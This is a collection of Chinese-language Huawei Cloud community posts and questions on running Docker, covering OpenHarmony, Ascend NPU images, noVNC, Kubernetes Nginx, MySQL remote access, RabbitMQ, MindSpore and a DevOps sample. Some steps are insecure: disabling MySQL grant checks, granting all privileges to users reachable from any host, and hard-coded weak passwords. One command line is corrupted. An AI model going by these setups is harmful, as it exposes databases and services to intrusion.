-
# OpenHarmony 开发环境搭建 ## WSL + VSCode + DevEco 我并没有使用华为官方推荐的 Windows + Ubuntu 虚拟机开发的方式,因为我觉得过于繁琐,索性我就直接用微软的 WSL2 直接安装了 DevEco Device Tool,配合 Windows Terminal 使用,还是很舒服的,但是我不知道为什么华为默认只支持了 Bash,还不能修改默认安装位置?作为有文件洁癖的我的解压了官方安装包,修改了里面的安装脚本,还把默认支持的 Shell 从 `/bin/sh` 改为了 `/usr/bin/zsh`,这样就很舒服了。 然后就是初始化、编译一把梭了,结果出现了以下问题。  Google 之后发现,原来是缺少了 [gn](https://github.com/timniederhausen/gn)(GN 是一个用来生成 Ninja 构建文件的工具),没啥好说的,再下载编译一下 gn 就行了。  结果还是报错:  这个问题我就没那么多时间陪你慢慢解决了,索性我直接换用了 Docker。希望华为自己也能优化一下这些工具的配置,简化繁琐的流程,同时也要给予开发者足够的个性化(只支持 Bash 这合适吗?)。 ## Docker 先搜索一下有没有官方镜像,看来是有的,就是可能有点老了。另外需要注意的是它的 tag 不是 `latest`,而是 `0.0.3`。  那就直接 pull 下来就好了,然后直接 run 一下容器就行了,另外还在里面配置了 ssh。  初始化、编译一个项目试试。  OK,看来是没问题了,算是搭建好了吧。
-
【功能模块】对象存储服务obs, 根据文档在docker中安装obsutil工具, 使用obsutil时, 报错: /bin/sh: obsutil:not found。请问要怎么处理才能在docker 中执行obsutil 指令。【操作步骤&问题现象】1、根据obs.Dockerfile 文件启动一个docker容器,在docker中下载安装obsutil,到目录 /usr/local/bin;该文件存放路径默认就在docker的环境变量里面。2、执行 obsutil config xxx ,指令报错,/bin/sh: obsutil:not found; 显示找不到该指令;【截图信息】dockerfile文件内容【日志信息】(可选,上传日志内容或者附件)
-
参考 [ascend_hub docker镜像仓](https://ascendhub.huawei.com/#/detail/ascend-infer) 使用其中的5.0.3 + ubuntu 18.04 docker镜像 根据镜像概述进行操作,最后启动容器 ```shell docker run -it -e ASCEND_VISIBLE_DEVICES=0 3046e9e0aab5 /bin/bash ``` 进入后检查/usr/local/Ascend存在nnrt相关文件,检查env,后进行gitee/sample v6.0 cpp环境和python环境安装,并进行相关样例测试 无法找到libascend_hal.so slog c_sec等库 前者在环境变量中加入 /usr/local/Ascend/nnrt/5.0.3.1/arm64-linux/aarch64-linux/devlib/ 解决 后者从物理环境中docker cp相关驱动文件后,解决。 但之后运行出现设备加载错误: ```log >>> import acl [ERROR] DRV(26,python3):2022-06-27-18:48:25.112.126 [devdrv_manager.c:160][devmng] [devdrv_open_device_manager 160] open device manager fail,name=/dev/davinci_manager,ret_fd=-1,old_fd=-1,err=2. [ERROR] DRV(26,python3):2022-06-27-18:48:25.112.821 [devdrv_info.c:1098][devmng] [dmanage_get_container_flag 1098] open davinci manager failed. [ERROR] DRV(26,python3):2022-06-27-18:48:25.112.898 [devdrv_manager.c:2215][devmng] [drvManagerInit 2215] get container flag failed. [ERROR] DRV(26,python3):2022-06-27-18:48:37.114.024 [hdc_core.c:389][hdc] [hdcPcieInit 389] HDC init fail, driver may not load. ``` 启动镜像没有检查npu-smi,检查一下npu-smi,也出现上述错误  而镜像描述中:  能否帮忙分析问题所在
-
>摘要:使用Docker容器,将带UI的程序,直接转换为Web应用。很方便,跟大家分享一下。 本文分享自华为云社区《[使用Docker容器,将带UI的程序,直接转为Web应用](https://bbs.huaweicloud.com/blogs/355359?utm_source=csdn&utm_medium=bbs-ex&utm_campaign=other&utm_content=content)》,作者:tsjsdbd。 我们可以通过Docker容器,将App的UI界面,投射到任意的网络目的端。 即:  其原理是利用X11协议,把界面投射转化为网络协议,到达目的端显示出来。 但是这种方案,有一个硬性要求:就是目的端必须要安装一个“投屏软件(X11 Server)”,比如:VcXsrv 或者 MobaXterm。 那么用户想要看到App的界面,他就得额外安装一个软件,用户体验并不是最佳的。 # 一、VNC方案 Windows的远程桌面,相信大家都用过吧。 VNC就是Linux版的远程桌面。它可以将屏幕,通过网络共享给客户端。 在服务端,安装vncserver。 在客户端,安装vncviewer。  不过,windows是自带了一个 远程桌面客户端。对VNC的话,用户就得安装一个 vnc-viewer客户端。和X11方案差不多,还是不够方便。 # 二、noVNC方案 好消息是,VNC-Viewer有一个WEB版的客户端,叫做 noVNC。它直接打开网页,就获得VNC-Viewer能力。详见:https://novnc.com/info.html 于是,我们可以将方案拓展为:  毕竟,浏览器基本上每个客户都会有。这就好比,微信大家都有,所以“单独安装一个App”vs“微信小程序” ,肯定是后者在使用更便捷一样的道理。 所以你可以看到各大云厂商,比如华为云的ECS虚机,也都自带了使用noVNC的方式来展示虚机的界面。可见noVNC的产品化可靠性还是OK的。 # 三、具体操作 这里我为了方便,准备将各种Server都安装到一个Docker容器里面,如下:  ## 1. 使用 Ubuntu:20.04 的基础镜像 因为最终我们要通过HTML访问这个容器,所以启动的时候,我们得记得开放端口: ``` docker run -it -p 80:8080 ubuntu:20.04 /bin/bash ``` 在这个容器里面,启动上图中的各种Server。 ## 2. Xvfb虚拟屏幕 首先,安装一个叫做 xvfb 的软件。这是一个“虚拟屏幕”,都在内存中模拟的屏幕。见:https://en.wikipedia.org/wiki/Xvfb 安装: ``` apt-get install -y xvfb ``` 然后启动“虚拟屏幕”: ``` Xvfb :0 -screen 0 1920x1080x24 -listen tcp -ac +extension GLX +extension RENDER ``` 其中,1920x1080x24 表示:屏幕大小(分辨率)。 24则是像素深度。 这个屏幕大小,到时候可以根据App的界面效果自己调整。 ## 3. X11vnc服务器 然后,我们安装 x11服务器(因为安装这个有交互,所以之类设置了 无交互模式) ``` export DEBIAN_FRONTEND=noninteractive apt-get install -y x11vnc ``` 然后启动 x11服务器: ``` x11vnc -forever -shared -noipv6 -passwd tsjsdbd ``` 其中标红的password换成你自己喜欢的密码。 ## 4. noVNC服务器 最后,我们通过noVNC服务器,将 VNC翻译为HTML服务, 安装: ``` apt-get install -y novnc ``` 然后启动: ``` websockify --web /usr/share/novnc 8080 localhost:5900 ``` ## 5. 启动带UI的App ``` apt-get install x11-apps DISPLAY=:0.0 xclock ``` 这里的DISPLAY变量的作用,是表示把App的界面,投射到咱们的这个“虚拟屏幕”上。 详细请看我之前的那篇文章。 ## 6. 从浏览器访问 从浏览器,访问我们的容器。地址(因为我们启动容器用来http默认端口80,所以这里URL不用设置端口了。): http://容器ip/vnc.html  这里填,第3步咱设置的密码。然后可以看到App的界面啦:  # 四、Dockerfile 这里为了大家方便,直接提供一个Dockerfile ``` FROM ubuntu:20.04 ENV DEBIAN_FRONTEND=noninteractive RUN apt-get install -y novnc x11vnc xvfb EXPOSE 8080 ENTRYPOINT ["/bin/bash"] ``` 然后写个 start-novnc.sh 脚本: ``` #!/bin/bash set -e #虚拟屏幕 Xvfb :0 -screen 0 1920x1080x24 -listen tcp -ac +extension GLX +extension RENDER > /dev/null 2>&1 & #vnc服务器 x11vnc -forever -shared -noipv6 -passwd tsjsdbd > /dev/null 2>&1 & #novnc websockify --web /usr/share/novnc 8080 localhost:5900 > /dev/null 2>&1 & ``` 最后你启动app的时候,记得带上: ``` DISPLAY==========================================BN =:0.0 your-ui-app ``` 就可以了。
-
用的这里的命令,无法成功安装docker给出的链接https://repo.huaweicloud.com/docker-ce/linux/centos/7/aarch64/stable/Packages/containerd.io-1.6.4-3.1.el7.aarch64.rpm下没有对应的文件
-
提供的x86平台可以做成docker容器吗?
-
一、创建Kubernetes集群1、创建集群1.1、登录CCE控制台https://console.huaweicloud.com/cce/1.2、创建CCE集群登录CCE控制台后会看见一个引导页面,请在CCE集群下单击“创建”按钮。1.3、配置集群参数参数说明如下:参数参数说明集群名称新建集群的名称。集群名称长度范围为4-128个字符,以小写字母开头,由小写字母、数字、中划线(-)组成,且不能以中划线(-)结尾。集群版本集群版本。建议选择最新的版本,对应Kubernetes社区基线版本。集群规模当前集群可以管理的最大Node节点规模。若选择50节点,表示当前集群最多可管理50个Node节点。高可用默认选择“是”。网络模型默认即可。虚拟私有云新建集群所在的虚拟私有云。若没有可选虚拟私有云,单击“新建虚拟私有云”进行创建,完成创建后单击刷新按钮。容器网段按默认配置即可。服务网段按默认配置即可。1.4、提交在右侧界面中会显示集群的资源清单,选择计费模式后,单击“提交”按钮,等待集群创建成功。创建成功后在集群管理下会显示一个运行中的集群,且集群节点数量为0。2、创建节点集群创建成功后,您还需要在集群中创建运行工作负载的节点。2.1、参数配置登录CCE控制台,单击创建的集群,进入集群控制台,在左侧菜单栏选择节点管理,单击右上角“创建节点”,在弹出的页面中配置节点的参数。参数说明如下:参数参数说明计算配置可用区默认即可。节点类型选择“虚拟机节点”。节点规格根据业务需求选择相应的节点规格。操作系统请选择节点对应的操作系统。节点名称自定义节点名称。登录方式支持密码和密钥对两种方式“密码”方式:用户名默认为“root”,请输入登录节点的密码,并确认密码。“密钥对”方式:在选项框中选择用于登录本节点的密钥对,并单击勾选确认信息。密钥对用于远程登录节点时的身份认证。若没有密钥对,可单击选项框右侧的“创建密钥对”来新建。存储配置系统盘按您的业务需求选择,缺省值为50GB。数据盘按您的业务需求选择,缺省值为100GB。网络配置虚拟私有云使用默认,即创建集群时选择的子网。节点子网选择节点所在的子网。2.2、规格确认在页面最下方选择节点的数量和计费模式,单击“下一步: 规格确认”。2.3、提交查看节点规格无误后,阅读页面上的使用说明,勾选“我已阅读并知晓上述使用说明”,单击“提交”按钮,等待节点创建成功,创建成功后在节点管理下会显示一个运行中的节点。二、镜像创建无状态工作负载(Nginx)1、前提条件您需要创建一个至少包含一个节点的集群,且该节点已绑定弹性公网IP,集群是运行工作负载的逻辑分组,包含一组云服务器资源,每台云服务器即集群中的一个节点。2、Nginx应用概述Nginx是一款轻量级的Web服务器,您可通过CCE快速搭建nginx web服务器。博主这里以选择“开源镜像中心”的方式创建应用为例,来创建一个Nginx工作负载。3、操作步骤3.1、镜像创建登录CCE控制台,单击集群进入集群控制台,在左侧菜单栏选择“工作负载”,单击右上角“镜像创建”。3.2、参数配置填写以下参数,其它保持默认。(1)基本参数配置参数参数说明负载类型选择无状态负载。负载名称nginx。实例数量设置为1。容器配置在基本信息中单击“选择镜像”,在弹出的窗口中选择“镜像中心”,并搜索“nginx”,选择nginx镜像。(2)服务配置单击服务配置下的加号,创建服务(Service),用于从外部访问负载,配置参数如下:参数参数说明Service名称输入应用发布的可被外部访问的名称,设置为:nginx。访问类型选择“负载均衡 ( LoadBalancer )”。服务亲和保持默认。负载均衡器如果已有负载均衡(ELB)实例,可以选择已有ELB,如果没有可单击“创建负载均衡器”,在ELB控制台创建一个公网类型负载均衡器。端口配置对外协议:TCP。服务端口:设置为8080,该端口号将映射到容器端口。容器端口:容器中应用启动监听的端口,nginx镜像请设置为80,其他应用容器端口和应用本身的端口一致。3.3、创建工作负载单击右下角“创建工作负载”,等待工作负载创建成功。创建成功后在无状态负载下会显示一个运行中的工作负载。4、访问Nginx(1)获取Nginx的外部访问地址单击Nginx工作负载名称,进入工作负载详情页。在访问方式页签下可以看到nginx的IP地址,其中负载均衡IP就是外部访问地址,如图所示:(2)在浏览器中输入“外部访问地址”,即可成功访问应用,如下图所示:【与云原生的故事】有奖征文火热进行中:https://bbs.huaweicloud.com/blogs/345260链接:https://bbs.huaweicloud.com/blogs/351622
-
本文主要介绍了mysql8.x docker远程访问配置,文中通过示例代码介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们可以参考一下目录• 环境情况 • 遇到的错误 • 解决方法 • 1. 登录 mysql docker 内部 • 2. 设置root密码 • 3. 设置 root 远程访问权限 • 4. 设置普通用户 myuser 的远程访问 环境情况mysql 8.x 是通过 docker 方式部署的,启动的 docker-compose.yml 如下:1234567891011121314151617181920212223242526version: "3.2"services: mysql: container_name: mysql image: "mysql:8.0" ports: - "3306:3306" command: [ "--character-set-server=utf8mb4", "--collation-server=utf8mb4_unicode_ci", "--sql_mode=STRICT_TRANS_TABLES,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_ENGINE_SUBSTITUTION", ] volumes: - type: bind source: ./mysql target: /var/lib/mysql - type: bind source: ./mysql-docker.cnf target: /etc/mysql/conf.d/docker.cnf environment: - MYSQL_RANDOM_ROOT_PASSWORD=yes - MYSQL_USER=myuser - MYSQL_PASSWORD=mypass - MYSQL_DATABASE=mydb restart: always首次通过 docker-compose 命令启动时,会自动下载 mysql 8.x 的镜像。启动成功之后,可以看到 3306 端口也映射出来了。这时,mysql 算是正常安装启动了。遇到的错误接下来,通过 navicat 之类的数据库客户端来连接 mysql 服务器的时候,发现根本连不上,遇到的错误种类有:1. ERROR 1045 (28000): Access denied for user 'myuser'2. 10060 错误3. 10061 错误解决方法网上有很多通过设置数据库用户的权限来解决远程访问的问题的,但是只有核心的步骤,缺少过程。1. 登录 mysql docker 内部从上面的 docker-compose.yml 可以看出,并没有配置 mysql root 用户的密码。在 volumn 映射那段,可以看到,我们把容器中的 /etc/mysql/conf.d/docker.cnf 文件映射到外部了。此文件的内容如下:123[mysqld]skip-host-cacheskip-name-resolve添加一行如下,这样登录 mysql 就不需要密码了。1234[mysqld]skip-host-cacheskip-name-resolveskip-grant-tables添加后,重启容器。12docker-compose downdocker-compose up -d2. 设置root密码进入容器,并用 root 账户登录 mysql 服务器。1234567891011docker exec -it mysql /bin/bashmysql -uroot # 这里直接回车,不用输入密码就可以登入服务器 mysql> flush privileges;Query OK, 0 rows affected (0.00 sec) mysql> ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY 'mysqlroot';Query OK, 0 rows affected (0.01 sec) mysql> flush privileges;Query OK, 0 rows affected (0.00 sec)注意,这里要先执行一次 flush privileges; 否则修改密码不会成功。然后,退出容器,恢复映射出的 /etc/mysql/conf.d/docker.cnf 文件。123[mysqld]skip-host-cacheskip-name-resolve把新加的那行删掉,再重启容器。12docker-compose downdocker-compose up -d3. 设置 root 远程访问权限重启容器之后,再次进入容器,设置 root 用户的远程访问权限。12345678docker exec -it mysql /bin/bashmysql -uroot -p # 需要输入上一步配置的密码 mysqlroot mysql> ALTER USER 'root'@'%' IDENTIFIED WITH mysql_native_password BY 'mysqlroot';Query OK, 0 rows affected (0.00 sec) mysql> flush privileges;Query OK, 0 rows affected (0.00 sec)配置远程访问的权限用 'root'@'%' , 而不是上一步的 'root'@'localhost' 设置之后,不用重启 mysql docker 容器,可以用 navicat 连接上了。4. 设置普通用户 myuser 的远程访问接着上面的操作配置普通用户 myuser 的远程连接。1234567891011mysql> ALTER USER 'myuser'@'%' IDENTIFIED WITH mysql_native_password BY 'mypass';Query OK, 0 rows affected (0.00 sec) mysql> flush privileges;Query OK, 0 rows affected (0.00 sec) mysql> grant all privileges on *.* to 'myuser'@'%' with grant option;Query OK, 0 rows affected (0.00 sec) mysql> flush privileges;Query OK, 0 rows affected (0.01 sec)设置成功的话,myuser 账户也可以通过 navicat 来远程连接了。转载自https://www.jb51.net/article/233359.htm
-
大家好,本篇文章主要讲的是docker安装RabbitMQ详细步骤,感兴趣的同学赶快来看一看吧,对你有帮助的话记得收藏一下,方便下次浏览目录• 1.查找镜像 • 2.下载RabbitMQ镜像 • 3.创建并启动RabbitMQ容器 • 4.进入容器交互页面 • 5.下载插件 • 6.阿里云控制台 开放端口号 • 7.登录 1.查找镜像1docker search rabbitmq2.下载RabbitMQ镜像直接下载最新的镜像如果需要下载其他版本 自行Docker官网查看并添加版本号再下载12345# 下载镜像docker pull rabbitmq #查看镜像docker images3.创建并启动RabbitMQ容器第一个-p :用于页面访问使用第二个-p :用于生产和消费端使用(也就是再代码里使用)1docker run -id --hostname myrabbit --name rabbitmq1 -p 15672:15672 -p 5672:5672 rabbitmq4.进入容器交互页面1docker exec -it rabbitmq1 /bin/bash5.下载插件1rabbitmq-plugins enable rabbitmq_management6.阿里云控制台 开放端口号注意:开放两个端口号7.登录ip+端口号访问账号密码均为:guest到此这篇关于docker安装RabbitMQ详细步骤的文章就介绍到这了转载自https://www.jb51.net/article/233585.htm
-
这篇文章主要介绍了Docker容器定时备份数据库并发送到指定邮箱,文中写了一下shell脚本,逻辑也很简单,当前时间与启动时间相同时,则调用sendmail函数发送邮件,具体脚本跟随小编一起看看吧目录• 一、背景: • 二、设计思路: • 三、编写启动脚本 • 四、构建镜像 • 五、添加边车容器 • 5.1 创建配置文件 • 5.2 创建有状态服务部署文件 • 六、测试 项目地址及使用说明:https://gitee.com/noovertime/mysqlmail一、背景:一开始的初衷是,想写一个脚本来监控服务器的高占用率进程并通过邮件发送给我,然后突发奇想,可以使用这种方式来备份我的数据库,开始动手!二、设计思路:通过编写shell脚本,调用linux的mail工具,mysqldump的方式来保存数据库的sql文件,通过mail工具添加到附件,最后发送到我的邮箱。三、编写启动脚本首先我们来编写一个启动脚本为了方便以后的个性化配置,我们将脚本中的变量都提取到一个application.yml文件中,文件如下:123456RUNTIME: 084900 ##启动时间,因为容器时区问题,需要当前时间减去8小时HOST: 172.17.0.3 ##数据库IP地址USER: root ##数据库用户PASSWORD: 123456 ##数据库密码DATABASE: solo ##数据库名TARGETMAIL: 1849539179@qq.com ##发送的邮箱地址接下来我们来写一下shell脚本,逻辑也很简单,当前时间与启动时间相同时,则调用sendmail函数发送邮件123456789101112131415161718192021222324252627#!/bin/bash#author: chenteng RUNTIME=$(cat ./application.yml | grep RUNTIME| awk '{print $2}')HOST=$(cat ./application.yml | grep HOST| awk '{print $2}')USER=$(cat ./application.yml | grep USER| awk '{print $2}')PASSWORD=$(cat ./application.yml | grep PASSWORD| awk '{print $2}')DATABASE=$(cat ./application.yml | grep DATABASE| awk '{print $2}')TARGETMAIL=$(cat ./application.yml | grep TARGETMAIL| awk '{print $2}') function sendmail(){ mysqldump -h$HOST -u$USER -p$PASSWORD --complete-insert --skip-add-drop-table --hex-blob $DATABASE > $DATABASE.sql echo -e "mysqlbak_$CURRENT_TIME" |mail -s "mysqlbak_$CURRENT_TIME" -a $DATABASE.sql $TARGETMAIL sleep 1}while truedo CURRENT_TIME=$(date +%H%M%S) if [ $CURRENT_TIME = $RUNTIME ];then echo "starting bak mysql database" sendmail continue else echo $CURRENT_TIME sleep 1 fidone四、构建镜像因为我们最后要放到k8s平台上的,所以我们要构建一个镜像,在构建镜像之前,请先把application.yml demo.sh Dockerfile放在同一目录下Dockerfile如下:PS:添加了mysql的客户端,邮件mail客户端123456FROM centosRUN mkdir /app && yum install -y mysql.x86_64 sendmail mailx libreport-plugin-mailx WORKDIR /appCOPY demo.sh .COPY application.yml .CMD ["/bin/sh","demo.sh"]使用docker build命令构建镜像,要记得加一下最后的点1docker build -t mysqlmail-bak:1.0.1 .五、添加边车容器边车容器(sidecar):边车容器就是与主容器一起在一个pod中运行的容器,为业务容器赋能,共享一个网络空间,所以可以用127.0.0.1:3306连接主容器的数据库。5.1 创建配置文件为了方便调试,我把里面的shell脚本也挂载出来。创建两个configmap,分别对应容器内的配置文件与shell脚本,后面如果不需要调试可以取消mysqlshell的挂载。12345678910111213141516171819202122232425262728293031323334353637383940414243444546apiVersion: v1kind: ConfigMapmetadata: name: mysqlmail-conf namespace: solodata: application.yml: | RUNTIME: 105800 HOST: 127.0.0.1 USER: root PASSWORD: 123456 DATABASE: solo TARGETMAIL: 1849539179@qq.com---apiVersion: v1kind: ConfigMapmetadata: name: mysqlmail-shell namespace: solodata: demo.sh: | #!/bin/bash #author: chenteng RUNTIME=$(cat ./application.yml | grep RUNTIME| awk '{print $2}') HOST=$(cat ./application.yml | grep HOST| awk '{print $2}') USER=$(cat ./application.yml | grep USER| awk '{print $2}') PASSWORD=$(cat ./application.yml | grep PASSWORD| awk '{print $2}') DATABASE=$(cat ./application.yml | grep DATABASE| awk '{print $2}') TARGETMAIL=$(cat ./application.yml | grep TARGETMAIL| awk '{print $2}') function sendmail(){ mysqldump -h$HOST -u$USER -p$PASSWORD --complete-insert --skip-add-drop-table --column-statistics=0 --hex-blob $DATABASE > $DATABASE.sql echo -e "mysqlbak_$CURRENT_TIME" |mail -s "mysqlbak_$CURRENT_TIME" -a $DATABASE.sql $TARGETMAIL sleep 1 } while true do CURRENT_TIME=$(date +%H%M%S) if [ $CURRENT_TIME = $RUNTIME ];then echo "starting bak mysql database" sendmail continue else echo $CURRENT_TIME sleep 1 fi done5.2 创建有状态服务部署文件我们的deploy文件使用的是上篇文章中创建的mysql有状态服务的yaml,有兴趣的可以看下我上篇迁移的文章123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172apiVersion: apps/v1kind: StatefulSetmetadata: name: mysql namespace: solospec: serviceName: mysql-service selector: matchLabels: app: mysql replicas: 1 template: metadata: labels: app: mysql spec: containers: - name: mysqlmail-bak imagePullPolicy: IfNotPresent image: mysqlmail-bak:1.0.1 volumeMounts: - name: mysqlmail-conf mountPath: /app/application.yml subPath: application.yml - name: mysqlmail-shell mountPath: /app/demo.sh subPath: demo.sh - name: mysql-pod imagePullPolicy: IfNotPresent image: mysql:5.7 env: - name: MYSQL_ROOT_PASSWORD value: "123456" ports: - containerPort: 3306 name: msyql-listin volumeMounts: - name: mysql-data mountPath: /var/lib/mysql subPath: mysql-data - name: mysql-conf mountPath: /etc/mysql/conf.d/my.cnf subPath: my.cnf volumes: - name: mysql-data hostPath: path: /data/mysql - name: mysql-conf configMap: name: mysql-conf - name: mysqlmail-conf configMap: name: mysqlmail-conf - name: mysqlmail-shell configMap: name: mysqlmail-shell--- apiVersion: v1kind: Servicemetadata: name: mysql-service namespace: solo labels: app: mysqlspec: ports: - targetPort: 3306 port: 3306 clusterIP: None selector: app: mysql六、测试我们上面给他定的时间是RUNTIME: 105800,上海时区也就是18点58分,我们来看一下效果查看日志,注意: 当一个pod包含多个容器时,要使用 -c 参数指定查看哪个容器12345678910[root@VM-24-15-centos solo]# kubectl logs -n solo mysql-0 -c mysqlmail-bak | grep mysql -C 5105755105756105757105758105759starting bak mysql databasemysqldump: [Warning] Using a password on the command line interface can be insecure.105801105802从日志可以看到,邮件已经发送成功了!我们来去邮箱看一下,发现也已经成功了,至此我们的实验完美完成!到此这篇关于Docker容器定时备份数据库并发送到指定邮箱的文章就介绍到这了转载自https://www.jb51.net/article/233657.htm
-
基于华为云ECS、Docker搭建MindSpore1.6.1-GPU环境 === # 1. 华为云上选配个ECS  # 2. 参照华为云镜像官网下载docker  # 3. 加速镜像地址  ``` 暂时不用添加到/etc/docker/daemon.json,等安装完nvidia-docker2再上 ``` # 4. 安装nvidia-docker2 ``` distribution=$(. /etc/os-release;echo $ID$VERSION_ID) curl -s -L https://nvidia.github.io/nvidia-docker/$distribution/nvidia-docker.repo | \ sudo tee /etc/yum.repos.d/nvidia-docker.repo DIST=$(sed -n 's/releasever=//p' /etc/yum.conf) DIST=${DIST:-$(. /etc/os-release; echo $VERSION_ID)} yum install nvidia-docker2 ```  ``` 添加到daemon.json ```  # 5. MindSpore官网获取docker镜像及说明等(需要详细查看) ``` https://mindspore.cn/install ```   ``` docker pull swr.cn-south-1.myhuaweicloud.com/mindspore/mindspore-gpu-cuda10.1:1.6.1 同时进入容器查看cuda版本是否跟宿主机不同 另外要求宿主机版本比镜像版本高 ```  容器内 --- ECS宿主机  ``` 可以看到两个环境的不同了 ``` # 6. 最后按照官网的案例测试下mindspore-gpu按照成功没(虽然就这两步 中间还是测试了好些个镜像与容器) ``` 可以参考官网的命令格式,但复杂了些,命令供参考 docker run -it --gpus all 8ca50077f6f6镜像id bash 如果容器停了 需要再start ```  # 7. 按照以前在tianchi竞赛的经验编写简单Dockerfile进行测试  weixiewen@126.com
-
问题一:atlas500的运行环境是不是建议在docker内部署?问题二:在atlas500上使用 docker https://ascendhub.huawei.com/#/detail/infer-modelzoo, 使用的版本为21.0.4,对应的cann版本为5.0.4,对应的启动docker的命令如下:docker run --device=/dev/davinci0 --device=/dev/davinci_manager --device=/dev/hisi_hdc --device /dev/devmm_svm \ -v /usr/local/bin/npu-smi:/usr/local/bin/npu-smi \ -v /home/data/miniD/driver/lib64:/home/data/miniD/driver/lib64 \ -v /run/board_cfg.ini:/run/board_cfg.ini \ --name="infer_modelzoo_21_0_4" \ -v /opt/mount/dockerHome:/root \ -p 1234:22 \ -it -u root ascendhub.huawei.com/public-ascendhub/infer-modelzoo:21.0.4 /bin/bash docker启动后,使用npu-smi info命令报错: npu-smi: error while loading shared libraries: libdrvdsmi_host.so: cannot open shared object file: No such file or directory然后使用 find / -name libdrvdsmi_host.so命令显示如下:/home/data/miniD/driver/lib64/libdrvdsmi_host.so /home/data/miniD/driver/lib64/inner/libdrvdsmi_host.so请问:docker启动后需要设置什么环境变量吗? 另外,在Python中使用 print(acl.init)) 结果为507008,这也是错误。问题三:在atlas500上使用 docker: https://ascendhub.huawei.com/#/detail/ascend-infer ,请问这个镜像和上面的镜像有什么区别?docker启动命令为:docker run -it \ --device=/dev/davinci0 \ --device=/dev/davinci_manager \ --device=/dev/devmm_svm \ --device=/dev/hisi_hdc \ -v /usr/local/bin/npu-smi:/usr/local/bin/npu-smi \ -v /home/data/miniD/driver/lib64:/home/data/miniD/driver/lib64 \ -v /run/board_cfg.ini:/run/board_cfg.ini \ -v /opt/mount/dockerHome:/root \ --name="ascend-infer_21_0_4" \ -p 1244:22 \ ascendhub.huawei.com/public-ascendhub/ascend-infer:21.0.4-ubuntu18.04 \ /bin/bashdocker启动后,使用npu-smi info命令报错: npu-smi: error while loading shared libraries: libc_sec.so: cannot open shared object file: No such file or directory请问:docker启动后需要设置什么环境变量吗? 另外,在Python中使用 import acl,报错为:ImportError: libascend_hal.so: cannot open shared object file: No such file or directory麻烦专家给解答一下,谢谢了
-
本文分享自华为云社区《解构华为云HE2E项目中的容器技术应用》,作者: 敏捷小智。 [华为云DevCloud HE2E DevOps实践](https://support.huaweicloud.com/bestpractice-devcloud/devcloud_practice_2000.html)当中,项目采用Docker技术进行构建部署。 容器技术应用,其实说简单也很简单,其流程无外乎:制作镜像——上传镜像——拉取镜像——启动镜像。 今天,我们就带大家**从容器技术应用的角度来解构HE2E项目**。 HE2E技术架构图:  # 创建项目 在华为云DevCloud中创建项目时选择DevOps样例项目,即可创建出预置了代码仓库、编译构建、部署等任务的DevOps样例项目,此项目即HE2E项目。  # 代码仓库 HE2E项目中预置了代码仓库phoenix-sample。  在根目录下可以看到images、kompose、result、vote、worker五个文件夹,以及LICENSE、README.md和docker-compose-standalone、docker-compose两个yml文件。Images文件夹存了几张图片,LICENSE和README也与代码内容无关,docker-compose.yml文件是应用于本地开发时的测试文件,这些都无需理会。 # 配置Kubectl的kompose文件夹 我们先看一下kompose文件夹,此文件夹下有多个yaml文件,通过命名可以看出这些文件是针对于每个微服务应用的配置。当我们进行CCE部署时就读取这里的配置(在部署时进行配置)。本着由浅入深的精神,本文先对ECS部署时所需的配置进行讲解,大家不要心急噢。  # 功能模块与制作镜像的Dockerfile result、vote、worker三个文件夹分别对应HE2E当中的三个功能模块:结果、投票、处理。   可以看到,三个文件夹下各自都有Dockerfile文件。制作镜像的时候就是靠这些Dockerfile文件来进行制作的。 我们以result下的Dockerfile进行举例说明:  FROM:定制的镜像都是基于 FROM 的镜像,这里的node:5.11.0-slim就是定制需要的基础镜像。后续的操作都是基于 node:5.11.0-slim。 WORKDIR /app:指定并创建工作目录/app。 RUN 命令>:执行命令>。 ADD 文件> 目录>:复制文件>至目录>。 5-9行:执行npm安装操作,并将相关文件存放入相应目录。 ENV PORT 80:定义环境变量PORT=80 EXPOSE 80:声明端口80。 CMD 命令>:在docker run时运行命令>。 在编译构建任务phoenix-sample-ci中,“制作Result镜像并推送到SWR仓库”步骤,通过“工作目录”、“Dockerfile路径”两个选项确定制作镜像时读取的Dockerfile:工作目录>/,即./result/Dockerfile。  其余的vote和worker两个功能模块也是按此种办法制作镜像。值得一提的是,worker文件夹下有Dockerfile、Dockerfile.j和Dockerfile.j2三个文件,但是在构建任务中,我们只需选择一个文件进行镜像制作,选择的是Dockerfile.j2这个文件。  在Dockerfile.j2文件中,将target下的内容复制到code/target下,但是target文件夹又并不在代码当中。这是因为worker下的项目是Java项目,target文件夹是在Maven构建的过程产生的,所以在构建任务phoenix-sample-ci中,制作Worker镜像之前需要先通过Maven进行构建。  通过以上的Dockerfile文件已经可以制作出三大功能模块对应的容器镜像了。在部署主机中,直接使用docker login、docker pull和docker run命令就可以登录、拉取并启动相应的镜像。但是这种方式要求对每个镜像都进行拉取和启动,不能一次性配置全部镜像。故此,我们引入了docker compose,通过docker compose实现对 Docker 容器集群的快速编排。一键(一个配置文件)配置本项目所需的各个功能模块。 # 配置docker-compose的docker-compose-standalone.yml文件 当我们部署本项目到服务器时,采取docker-compose的方式启动。 在部署任务phoenix-sample-standalone中,最终通过执行shell命令启动本项目: docker-compose -f docker-compose-standalone.yml up -d  这句shell命令中的docker-compose-standalone.yml正是我们代码仓库根目录的docker-compose-standalone.yml文件。 下面对docker-compose-standalone.yml文件进行解读。 version:指定本 yml 依从的 compose 哪个版本制定的。 services:包含的服务。 本yml中含有redis、db、vote、result、worker五个服务。其中db即数据库postgres。 image:镜像地址。 以redis和worker服务为例,其镜像为docker-server/docker-org/redis:alpine、docker-server/docker-org/worker:image-version,这里采用的是参数化替换的形式定义镜像地址的。 在构建任务phoenix-sample-ci中,“替换Docker-Compose部署文件镜像版本”步骤的shell命令正是将docker-compose-standalone.yml文件中的docker-server、docker-org、image-version三处替换为我们在该构建任务中定义的三个参数dockerServer、dockerOrg、BUILDNUMBER。 进行这样的替换以后,我们的docker-compose-standalone.yml中的镜像地址才会变成我们所需的最终地址。例:swr.cn-north-4.myhuaweicloud.com/devcloud-bhd/redis:alpine、swr.cn-north-4.myhuaweicloud.com/devcloud-bhd/worker:20220303.1。 五个服务中,vote、result、worker是本项目构建生成的,redis和db是采用第三方应用,所以在镜像版本方面会有区别。  ports:端口号。将容器和主机绑定到暴露的端口。 在vote当中ports: 